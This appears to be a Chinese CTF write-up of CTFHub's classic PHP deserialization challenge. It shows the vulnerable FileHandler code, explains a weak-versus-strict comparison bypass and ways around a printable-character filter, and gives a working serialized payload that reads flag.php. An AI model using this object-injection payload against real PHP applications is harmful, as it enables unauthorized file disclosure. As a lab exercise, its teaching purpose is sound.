CTFHUB

 经典的PHP反序列化

打开题目  直接给出了代码让我们分析

 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
[Result]:

然后我们需要逐一进行

1.先分析is_valid函数 代码通过控制read()读取flag.php的内容

代码通过控制read()读取flag.php的内容 判断$s变量的ascii码字符是否是32到125(也就是可显示的字符串)是的话就返回true

2.分析主程序

接受get传入的str变量  转换为字符串  然后使用is_valid函数进行验证是否是合法的字符串  是的话就进行反序列化

3.分析__destruct函数

判断op变量是否为字符串2  注意这里是强等于  如果是的话就将op置为字符串1  然后将content置空  执行process函数  将op赋值为数字2  if判断自然就会返回false  从而达到绕过的目的

4.分析process函数

判断op是否为字符串1或2  注意这里是弱等于 也就是  判断时会自动将两边的变量类型转换为一样 只要我们将op置为数字2  那么这里的第二个if中的弱等于就会返回true  从而执行read函数  并将结果输出

5.分析read函数

读取filename文件的内容并返回  很显然我们序列化时要将filename设置为flag.php

我们需要绕过两个地方:

1、is_valid()函数规定字符的ASCII码必须是32-125  而protected属性在序列化后会出现不可见字符\00*\00  转化为ASCII码不符合要求

绕过方法:

①PHP7.1以上版本对属性类型不敏感  public属性序列化不会出现不可见字符  可以用public属性来绕过

②private属性序列化的时候会引入两个\x00  注意这两个\x00就是ascii码为0的字符  这个字符显示和输出可能看不到  甚至导致截断  但是url编码后就可以看得很清楚了  同理  protected属性会引入\x00*\x00  此时  为了更加方便进行反序列化Payload的传输与显示  我们可以在序列化内容中用大写S表示字符串  此时这个字符串就支持将后面的字符串用16进制表示

2、__destruct()魔术方法中  op==="2"是强比较  而process()使用的是弱比较op=="2"  可以通过弱类型绕过

绕过方法:op=2  这里的2是整数int类型  op=2时  op==="2"为false  op=="2"为true

构造一下序列化的执行语句

 <?php
 
class FileHandler {
 
    public $op = 2;
    public  $filename = "flag.php";
    public  $content = "oavinci";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;

运行结果

 O:11:"FileHandler":3:

{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}

传参  得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值